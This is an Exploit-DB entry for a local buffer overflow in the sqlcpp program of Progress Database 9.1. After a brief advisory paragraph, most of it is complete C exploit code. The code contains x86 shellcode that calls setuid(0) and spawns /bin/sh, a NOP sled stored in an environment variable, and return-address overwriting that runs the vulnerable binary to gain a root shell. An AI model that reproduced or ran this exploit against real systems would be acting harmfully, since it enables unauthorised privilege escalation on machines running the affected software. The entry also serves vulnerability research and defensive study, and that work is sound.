Exploit-DB #21359
Description: Progress Database 9.1 - sqlcpp Local Buffer Overflow
Type: local
Platform: multiple
Date: 2002-03-22
Author: kf

Exploit:
// source: https://www.securityfocus.com/bid/4402/info

Progress is a commercial database for Microsoft Windows and Unix systems.

A buffer overflow has been reported in the sqlcpp program included with Progress, used as a SQL preprocessor. Execution of arbitrary code is possible.

This issue has been reported to affect Unix systems. This vulnerability may also exist under Windows, this has not however been confirmed.

/*
 * Yet another Progress Database exploit (version ??)
 *
 * The vulnerability was found by KF / Snosoft (http://www.snosoft.com)
 * Exploit coded up by The Itch / Promisc (http://www.promisc.org)
 *
 * This exploit was developed on the Snosoft vulnerability research machines
 * mail dotslash@snosoft.com if you are interested in contributing research time
 *
 * - The Itch
 * - itchie@promisc.org
 *
 * - Technical details concerning the exploit -
 *
 * 1). Buffer overflow occurs after writing more then 56 bytes into the buffer at the command line
 *     (56 to overwrite ebp, 60 to overwrite eip).
 * 2). If you write more then 65 bytes, other frames will be overwritten afterwards and will mess up
 *     your flow of arbitrary code execution.
 */

#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

#define DEFAULT_BUFFER_SIZE 60

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char *argv[])
{
        char *buff;
        char *egg;
        char *ptr;
        long *addr_ptr;
        long addr;
        int bsize = DEFAULT_BUFFER_SIZE;
        int eggsize = DEFAULT_EGG_SIZE;
        int i;
        int get_sp = (int)&get_sp;

        if(argc > 1) { bsize = atoi(argv[1]); }

        if(!(buff = malloc(bsize)))
        {
                printf("unable to allocate memory for %d bytes\n", bsize);
                exit(1);
        }

        if(!(egg = malloc(eggsize)))
        {
                printf("unable to allocate memory for %d bytes\n", eggsize);
                exit(1);
        }

        printf("/usr/dlc/bin/sqlcpp\n");
        printf("Vulnerability found by KF / http://www.snosoft.com\n");
        printf("Coded by The Itch / http://www.promisc.org\n\n");
        printf("Using return address: 0x%x\n", get_sp);
        printf("Using buffersize    : %d\n", bsize);

        ptr = buff;
        addr_ptr = (long *) ptr;
        for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; }

        ptr = egg;
        for(i = 0; i < eggsize - strlen(shellcode) -1; i++)
        {
                *(ptr++) = NOP;
        }

        for(i = 0; i < strlen(shellcode); i++)
        {
                *(ptr++) = shellcode[i];
        }

        egg[eggsize - 1] = '\0';
        memcpy(egg, "EGG=", 4);
        putenv(egg);

        execl("/usr/dlc/sqlcpp", "sqlcpp", buff, 0);

        return 0;
}